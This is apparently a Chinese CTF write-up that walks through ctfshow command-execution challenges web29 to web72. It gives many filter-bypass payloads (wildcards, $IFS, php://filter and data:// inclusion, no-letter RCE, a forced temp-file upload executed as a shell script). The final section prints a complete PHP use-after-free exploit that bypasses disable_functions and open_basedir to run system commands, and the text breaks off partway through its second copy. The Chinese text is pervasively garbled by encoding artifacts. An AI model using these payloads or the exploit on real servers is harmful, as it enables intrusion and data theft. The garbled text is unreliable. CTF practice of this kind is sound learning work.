Ctfshow 命令執(zhí)行 web29
pregmatch
是正則匹配函數(shù),匹配是否包含flag,if(!preg_match("/flag/i", $c))
,/i
忽略大小寫
可以利用system來間接執(zhí)行系統(tǒng)命令
flag采用f*
繞過,或者mv fl?g.php 1.txt
修改文件名,或者cat 反引號(hào)ls反引號(hào)
linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html
Ctfshow 命令執(zhí)行 web30
多了對(duì)system和php的過濾
用*
繞過和passthru
Ctfshow 命令執(zhí)行 web31
過濾flag
system
php
cat
sort
shell
.
空格
'
過濾了空格,可以使用%09
替代;也可以使用{$IFS}
或者$IFS$1
傳參如下:
?c=passthru("tac%09fla*");
Ctfshow 命令執(zhí)行 web32
過濾flag
system
php
cat
sort
shell
.
空格
'
反引號(hào)
echo
之前的方法都沒有用了。無所謂,文件包含會(huì)出手。
https://www.cnblogs.com/endust/p/11804767.html
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
Ctfshow 命令執(zhí)行 web33
又加了(
和"
的過濾,沒事,文件包含還能出手。
Payload:
?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>
此外,這里日志包含也是可行的。
Ctfshow 命令執(zhí)行 web34
好的這下:
也被過濾了。沒事,文件包含還能出手。
Payload:
?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>
Ctfshow 命令執(zhí)行 web35
<
和=
也被過濾了,沒關(guān)系,文件包含還能出手
Payload:
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
Ctfshow 命令執(zhí)行 web36
加了對(duì)/
和數(shù)字0-9
的過濾,還是文件包含,一樣的payload。
Ctfshow 命令執(zhí)行 web37
好家伙直接給我文件包含了是吧
Payload: (采用了base64編碼繞過過濾)
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==
//(<?php system("tac flag.php");?>)
Ctfshow 命令執(zhí)行 web38
Payload不變。
Ctfshow 命令執(zhí)行 web39
雖然強(qiáng)加了后綴,但是不影響。因?yàn)?code>?>已經(jīng)閉合PHP語句了。
?c=data://text/plain,<?php system("tac fla*.php");?>
Ctfshow 命令執(zhí)行 web40
過濾了很多東西。只有空格,分號(hào),英文括號(hào)還可以用。
看了一下wp(https://blog.csdn.net/Kracxi/article/details/121041140),果然無能為力。這題考察無參RCE。
兩種payload。
?c=eval(array_pop(next(get_defined_vars())));//需要POST傳入?yún)?shù)為1=system('tac fl*');
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
以下是我解題過程中學(xué)習(xí)整理的關(guān)于無參RCE的函數(shù)實(shí)操等。(部分借鑒付勁遠(yuǎn)師傅的web思維導(dǎo)圖)
除了無參RCE,還有個(gè)利用session的方法。
payload:
?c=session_start();system(session_id());
session_id(PHPSESSID)就是要執(zhí)行的命令。
但是這個(gè)方法有個(gè)弊端,命令不能有空格,因?yàn)閏ookie不解析空格。
Ctfshow 命令執(zhí)行 web41
無字母數(shù)字rce原理:利用各種非數(shù)字字母的字符,經(jīng)過各種變換(異或、取反、自增),構(gòu)造出單個(gè)的字母字符,然后把單個(gè)字符拼接成一個(gè)函數(shù)名,比如說system,然后就可以動(dòng)態(tài)執(zhí)行了。所以說這里的核心就是非字母的字符換成字母字符。(https://www.cnblogs.com/pursue-security/p/15404150.html)
代碼審計(jì),沒有過濾或(|)。跑個(gè)腳本吧(腳本小子就是我了)
查看目錄。
Ctfshow 命令執(zhí)行 web42
先看源碼,一個(gè)新東西>/dev/null 2>&1
含義:
1>/dev/null
:首先表示標(biāo)準(zhǔn)輸出重定向到空設(shè)備文件,也就是不輸出任何信息到終端,不顯示任何信息。
>
代表重定向到哪里,例如:echo “123” > /home/123.txt
1
表示stdout標(biāo)準(zhǔn)輸出,系統(tǒng)默認(rèn)值是1,所以">/dev/null"等同于"1>/dev/null"
2
表示stderr標(biāo)準(zhǔn)錯(cuò)誤
&
表示等同于的意思,2>&1,表示2的輸出重定向等同于1
繞過方法就是在命令后面加截?cái)嗝?;
或 %0a
或 %26(&)
或 ||
。具體原理就是重定向也是命令的一部分。比如說 命令1;命令2 1>/dev/null
就是執(zhí)行了命令1
和命令2 1>/dev/null
,雖然命令2被重定向了,但是命令1沒有。
Ctfshow 命令執(zhí)行 web43
過濾了分隔符;那可以換成別的分隔符。對(duì)cat的過濾可以用tac,nl替代,或者用各種轉(zhuǎn)義符\
、'
、"
。
Payload:
?c=tac flag.php%26
Ctfshow 命令執(zhí)行 web44
加了一個(gè)對(duì)flag
的過濾,我們用轉(zhuǎn)義符繞過。
Payload:
?c=nl%20fl\ag.php||
Ctfshow 命令執(zhí)行 web45
加了對(duì)空格
的過濾,用%09
代替。
Payload:
?c=tac%09fla*||
Ctfshow 命令執(zhí)行 web46
2023.8.16時(shí)隔半年,強(qiáng)迫癥迫使我把基礎(chǔ)給算完。
增加了對(duì)數(shù)字
、*
、$
的過濾,空格可以用<>
或者<
或者%09
代替(%09是URL編碼,不是數(shù)字),過濾了通配符*
但是?
也不能用了,所以flag
用轉(zhuǎn)義符\
或者''
。
payload:
?c=nl<fla''g.php|| //在源碼里面
?c=tac<fla\g.php||
發(fā)現(xiàn)一個(gè)奇怪的payload:這里通配符?
又可以用了,弄得我滿臉問號(hào)?????后來去查了一下,是因?yàn)?*<
和?
不能同時(shí)用**,上面的payload改成c=tac%09fla?.php||
就好啦
?c=awk%09'/f/'%09fla?.php||
等價(jià)于?c=awk%09'/f/{print}'%09fla?.php||
確實(shí)能用,解釋一下。這個(gè)payload就是輸出flag.php
文件中包含字符串f
的行。
如果我們把f
換成ctfshow
,那就只輸出flag了。
參考文章:
https://blog.csdn.net/Dark_Tk/article/details/114844529
Ctfshow 命令執(zhí)行 web47
又多過濾了一些命令執(zhí)行函數(shù)more
less
head
sort
tail
。但是沒過濾我最喜歡的tac
、nl
和awk
。
payload不變:
?c=nl<fla''g.php|| //在源碼里面
?c=tac<fla\g.php||
?c=awk%09'/f/'%09fla?.php||
Ctfshow 命令執(zhí)行 web48
再多過濾了一些命令執(zhí)行函數(shù)sed
cut
awk
strings
od
curl
和反引號(hào)
。但是沒過濾我最喜歡的tac
和nl
。
payload不變:
?c=nl<fla''g.php|| //在源碼里面
?c=tac<fla\g.php||
Ctfshow 命令執(zhí)行 web49
多過濾了百分號(hào)%
,對(duì)我的payload沒影響,我空格是用<
繞過的。
payload不變:
?c=nl<fla''g.php|| //在源碼里面
?c=tac<fla\g.php||
Ctfshow 命令執(zhí)行 web50
多過濾了\x09
(水平制表符tab)和\x26
(&),對(duì)我的payload沒影響。
payload不變:
?c=nl<fla''g.php|| //在源碼里面
?c=tac<fla\g.php||
Ctfshow 命令執(zhí)行 web51
多過濾了tac
,payload還有一個(gè)能用。
payload不變:
?c=nl<fla''g.php|| //在源碼里面
# Ctfshow 命令執(zhí)行 web52
多過濾了<
和>
,但是沒過濾$
,上題payload把空格用$IFS
或者${IFS}
繞過就行。
payload:
?c=nl$IFS/fla''g|| //flag在根目錄
?c=nl${IFS}/fla''g||
?c=ta''c$IFS/fla''g||
?c=c''at${IFS}/fla''g||
Ctfshow 命令執(zhí)行 web53
過濾不變,這次也沒有重定向了。
payload:
?c=nl${IFS}????.???
?c=nl$IFSfla''g.php||
?c=nl${IFS}fla''g.php||
?c=ta''c$IFSfla''g.php||
?c=c''at${IFS}fla''g.php||
Ctfshow 命令執(zhí)行 web54
這次過濾的有點(diǎn)猛。
除了符號(hào)反引號(hào)
、\x09
、\x26
、%
、<
、>
、*
之外,cat
flag
more
wget
less
head
sort
tail
sed
cut
tac
awk
strings
od
curl
nl
scp
rm
也被過濾了,而且無法使用轉(zhuǎn)義符繞過。
用別的命令讀取flag
?c=uniq${IFS}f???????
?c=grep${IFS}'tf'${IFS}fl???php
(在 fl???php匹配到的文件中,查找含有tf的文件,并打印出包含 tf 的這一行,好奇怪,這里只有tf、sh、ow、{、}能找出flag)
使用文件執(zhí)行命令+通配符繞過過濾(注意,這里ca?${IFS}f???是不可以的)
/bin
這個(gè)目錄。
bin
為binary
的簡(jiǎn)寫,主要放置一些 系統(tǒng)的必備執(zhí)行檔例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
?c=/bin/ca?${IFS}f???????
復(fù)制文件
?c=mv${IFS}fl?g.php${IFS}x.txt
Ctfshow 命令執(zhí)行 web55
hint:
https://blog.csdn.net/qq_46091464/article/details/108513145
https://blog.csdn.net/qq_46091464/article/details/108557067
過濾了所有字母
和反引號(hào)
、\x09
、\x26
、%
、<
、>
。這題考察無字母RCE。
方法一:
使用文件執(zhí)行命令+通配符繞過過濾
?c=/???/????64 ????.???
// 即/bin/base64 flag.php
//base64這個(gè)命令就是將指定的文件的內(nèi)容以base64加密的形式輸出。這個(gè)不是通用的,因?yàn)閎ase64不是每個(gè)機(jī)器都有
?c=/???/???/????2 ????.???
// 即/usr/bin/bzip2 flag.php
//把flag.php給壓縮,然后訪問url+flag.php.bz2就可以把壓縮后的flag.php給下載下來。
方法二:
這題是命令執(zhí)行不是代碼執(zhí)行,不能進(jìn)行異或/拼接等操作。如果是eval()
中內(nèi)容可控(代碼執(zhí)行)才可以進(jìn)行異或/拼接等操作,因?yàn)樽R(shí)別異或/拼接等操作的是PHP代碼不是終端(cmd)。
【強(qiáng)制文件上傳下的無字母數(shù)字RCE】
這題考PHP強(qiáng)制文件上傳機(jī)制。
PHP超全局變量如下
$_GET //存放所有GET請(qǐng)求
$_POST
$_SERVER
$_COOKIE
$_SESSION
$_FILES //存放所有文件
在PHP中,強(qiáng)制上傳文件時(shí),文件會(huì)被存在臨時(shí)文件/tmp/phpxxxxxx
中
這個(gè)文件最后六位xxxxxx
有大小寫字母、數(shù)字組成,生命周期只在PHP代碼運(yùn)行時(shí)。
題目中正則匹配過濾了大小寫字母(i)和數(shù)字。
故我們要匹配/tmp/phpxxxxxx
的話可以用通配符/???/?????????
/???/?????????
范圍太大了,我們?nèi)绾慰s小范圍呢。
查看ascii碼表,A前面是@,Z后面是[
/???/????????[@-[]
就表示了最后一位是大寫
當(dāng)臨時(shí)文件最后一位是大寫字母時(shí)/???/????????[@-[]
就能匹配到這個(gè)文件
linux中 .
代表執(zhí)行一個(gè)文件,相當(dāng)于source
可以執(zhí)行sh命令。
如果上傳的文件是一個(gè)shell腳本,那么. /???/????????[@-[]
(burp里面空格要寫成+
或者%20
)就能執(zhí)行這個(gè)shell腳本,實(shí)現(xiàn)RCE。
如何強(qiáng)制上傳文件?
我們可以在vps上寫一個(gè)表單文件
upload.html
<form action="http://6741a41b-173c-4a20-9a15-be885b3344de.challenges.ctfer.com:8080/" enctype="multipart/form-data" method="post" >
<input name="file" type="file" />
<input type="submit" type="gogogo!" />
</form>
訪問vps上的upload.html
上傳內(nèi)容為whoami
的txt
文件。同時(shí)抓包。
改一下包。發(fā)現(xiàn)能正常執(zhí)行了,并且返回了結(jié)果。
獲得flag。(成功的概率,就是最后一位是大寫的概率是26/26+26+10,多發(fā)幾次包就行了)
Ctfshow 命令執(zhí)行 web56
這次把數(shù)字
也過濾了。
和上題一樣,PHP強(qiáng)制上傳文件機(jī)制還是可以使用滴。
Ctfshow 命令執(zhí)行 web57
這次過濾了很多。過濾了點(diǎn)號(hào).
,不能用PHP強(qiáng)制上傳文件機(jī)制
preg_match("/\;|[a-z]|[0-9]|\反引號(hào)|\|\#|\'|\"|\反引號(hào)|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)
題目提示flag in 36.php
。
關(guān)鍵代碼:system("cat ".$c.".php");
。
我們可控的是$c
,根據(jù)提示,我們只需要構(gòu)造出36
即可。
先補(bǔ)個(gè)前置知識(shí):二進(jìn)制取反
二進(jìn)制中第一位為符號(hào)位,0代表正數(shù),1代表負(fù)數(shù),如 0000 0001
是+1
,1000 0001
是-1
。同時(shí)加上補(bǔ)碼原碼等相關(guān)概念,就可以理解二進(jìn)制取反。
結(jié)論:如對(duì) a 按位取反,則得到的結(jié)果為 -(a+1)。36
取反是-37
,-37
取反是36
。
詳細(xì)請(qǐng)看:https://zhuanlan.zhihu.com/p/261080329
在linux中
${_}
代表上一次命令執(zhí)行的結(jié)果
$(())
代表做運(yùn)算,為0
$((~$(())))
代表~0
(0取反)為-1
$((~$(()))) $((~$(()))) $((~$(())))
代表-1-1-1
$(( $((~$(())))$((~$(())))$((~$(()))) ))
代表-1-1-1
做運(yùn)算就是-3
$((~$(( $((~$(())))$((~$(())))$((~$(()))) ))))
代表-1-1-1
做運(yùn)算后-3
取反就是2
中間37個(gè)$((~$(())))
就是-37
,取反后就是36
$((~$(( $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))
payload:
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
flag在源碼中。
Ctfshow 命令執(zhí)行 web58
這題無過濾,但是開始禁用函數(shù)了。
一般是先看phpinfo
查看被禁用的函數(shù)。但是這里phpinfo
也被禁用了,只能一個(gè)一個(gè)嘗試。
禁用了phpinfo
、system
、shell_exec
等
Y4爺博客給了兩種讀取文件路徑方式c=print_r(scandir(dirname('__FILE__')));
(查看根目錄:print_r(scandir(‘/’)); )
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
讀文件的函數(shù)有這些:
file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()
fopen()
讀文件函數(shù)payload:
c=echo file_get_contents('flag.php');
c=echo highlight_file('flag.php');
c=highlight_file("flag.php");
c=show_source('flag.php');
c=
$a=fopen("flag.php","r");
while($b=fgets($a)){
echo $b;
}
//file()函數(shù):把整個(gè)文件讀入一個(gè)數(shù)組中
c=print_r(file('flag.php'));
c=var_dump(file('flag.php'));
c=readfile("flag.php");
//一行一行讀取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
//一個(gè)一個(gè)字符讀取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
也可以復(fù)制、重命名文件:
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");
文件包含直接讀取flag:
c=include('flag.php');echo $flag;
c=include($_GET['1']); ?1=php://filter/convert.base64-encode/resource=flag.php
c=include('flag.php');var_dump(get_defined_vars());
//var_dump:輸出注冊(cè)變量
//get_defined_vars():函數(shù)返回由所有已定義變量所組成的數(shù)組
此外,還能使用無參RCE、日志包含等方法,就不一一列舉了。
Ctfshow 命令執(zhí)行 web59
源碼一樣,函數(shù)多禁用了幾個(gè),做法同web58。
Ctfshow 命令執(zhí)行 web60
源碼一樣,函數(shù)多禁用了幾個(gè),做法同web58。
Ctfshow 命令執(zhí)行 web61
源碼一樣,函數(shù)多禁用了幾個(gè),做法同web58。
Ctfshow 命令執(zhí)行 web62
源碼一樣,函數(shù)多禁用了幾個(gè),做法同web58。
Ctfshow 命令執(zhí)行 web63
源碼一樣,函數(shù)多禁用了幾個(gè),做法同web58。
Ctfshow 命令執(zhí)行 web64
源碼一樣,函數(shù)多禁用了幾個(gè),做法同web58。
Ctfshow 命令執(zhí)行 web65
源碼一樣,函數(shù)多禁用了幾個(gè),做法同web58。
Ctfshow 命令執(zhí)行 web66
相較于web58,源碼一樣,但是之前payload都用不了了,仔細(xì)一查是flag文件路徑變了。
回憶一下Y4爺博客給了兩種讀取文件路徑方式c=print_r(scandir(dirname('__FILE__')));
(查看根目錄:print_r(scandir(‘/’)); )
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
我們先看看當(dāng)前目錄:
c=print_r(scandir(dirname('__FILE__')));
確實(shí)沒有flag。
再看看根目錄:
c=print_r(scandir('/'));
發(fā)現(xiàn)flag在根目錄flag.txt
文件中,那么把之前的payload中的flag.php
換成/flag.txt
就行了。
Ctfshow 命令執(zhí)行 web67
源碼還是一樣,相較于wen66,過濾了print_r()
函數(shù),我們用var_dump()
函數(shù)替換。flag還是在根目錄flag.txt
文件中。
看看根目錄:
c=var_dump(scandir('/'));
其他同web66、web58。
Ctfshow 命令執(zhí)行 web68
又ban了highlight_file()
函數(shù),導(dǎo)致我們看不見源碼。但是源碼還是一樣的。
我們還有很多方法。同web67。
Ctfshow 命令執(zhí)行 web69
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-Wt49l3pr-1692463133485)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191458554.png)]
從web58到這里,文件顯示的代碼,比如show_source
、highlight_file
、file_get_contents
等基本都被禁了,但是文件包含一直屹立不倒,還是本篇文章開頭那句,無所謂,文件包含會(huì)出手。
學(xué)到這里我發(fā)現(xiàn),從一開始感覺web板塊的知識(shí)點(diǎn)是一座一座孤島,到現(xiàn)在有部分知識(shí)能融合到一起,算是有所成長(zhǎng)吧。
這題把var_dump()
函數(shù)ban了,可以用var_export()
函數(shù)替換。
此外,如果scandir()
被過濾可以用glob()
。用法var_dump(glob('/*'));
看看根目錄:
c=var_export(scandir('/'));
命令執(zhí)行拿flag。
c=include('/flag.txt');var_export(get_defined_vars());
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-5YMZpf6Q-1692463133486)(https://tc-md.oss-cn-hangzhou.aliyuncs.com/img/202308191503405.png)]
Ctfshow 命令執(zhí)行 web70
做法同web69。
Ctfshow 命令執(zhí)行 web71
這題附件給了源碼,源碼如下:
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你們?cè)陟偶紗幔?/span>
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
ob_get_contents()
:得到緩沖區(qū)的內(nèi)容(數(shù)據(jù))。ob_end_clean()
:會(huì)清除緩沖區(qū)的內(nèi)容,并將緩沖區(qū)關(guān)閉,但不會(huì)輸出內(nèi)容。preg_replace("/[0-9]|[a-z]/i","?",$s)
:把存放緩沖區(qū)內(nèi)容的變量$s
的內(nèi)容都替換為問號(hào)。用之前payload發(fā)現(xiàn)輸出的一大堆問號(hào),就是因?yàn)檫@句話。
方法一:(這個(gè)方法目前網(wǎng)上只有我這篇有,雅虎~)
既然eval()
函數(shù)給了我們執(zhí)行任意代碼的力量,那我們模仿源碼,以其人之道還之其人之身。
payload:
c=include("/flag.txt");$ss=ob_get_contents();ob_end_clean();echo $ss;
方法二:
也可以用exit()/die()提前結(jié)束代碼,這樣就不會(huì)將字符替換為問號(hào)
playload:
c=include('/flag.txt');var_export(get_defined_vars());exit();
或者
c=include('/flag.txt');var_export(get_defined_vars());die();
方法三:
其實(shí)方法一和方法三原理是一樣的,都是手動(dòng)輸出緩沖區(qū)。不過這種方法輸出的字符肉眼不可識(shí)別。。。
c=include("/flag.txt");echo ~ob_get_contents();
自動(dòng)化POC:
import requests
url = "http://64fe58eb-5766-484d-b8db-bd1f4b3ab1c2.chall.ctf.show/"
d = {'c': 'include("/flag.txt");echo ~ob_get_contents();'}
s = requests.post(url, d).content
for i in s:
print(chr(~i&0xff), end='')
# 腳本來自群里阿貍師傅
Ctfshow 命令執(zhí)行 web72
源碼不變。
這題flag位置又變了。就像她,是如此的善變。
讀目錄。
c=var_export(scandir('/'));exit();
發(fā)現(xiàn)讀不了,有open_basedir
配置項(xiàng)限制,把目錄限制在了/var/www/html/
。
open_basedir
配置項(xiàng)在NepNepCTF-2023的Ez_include中也出現(xiàn)過。
我們可以利用glob偽協(xié)議
,glob偽協(xié)議
在篩選目錄時(shí)不受open_basedir
制約。也就是web58中,Y4師傅給的第二種查看目錄的方法。
查看根目錄,發(fā)現(xiàn)flag在flag0.txt
文件中。
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
知道了flag文件的位置,接下來就是如何繞過open_basedir
制約讀取文件,這里大師傅們給了一個(gè)腳本:
<?php
pwn("命令");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
腳本中str_repeat()
函數(shù)被過濾了,我們使用sprintf()
函數(shù)替換。
payload需要根據(jù)需要閉合源碼
、修改命令
、URL編碼
(本篇wp中是未編碼的)。
c=?><?php
pwn("tac /flag0.txt");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf('%c',$ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf('%c',$v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
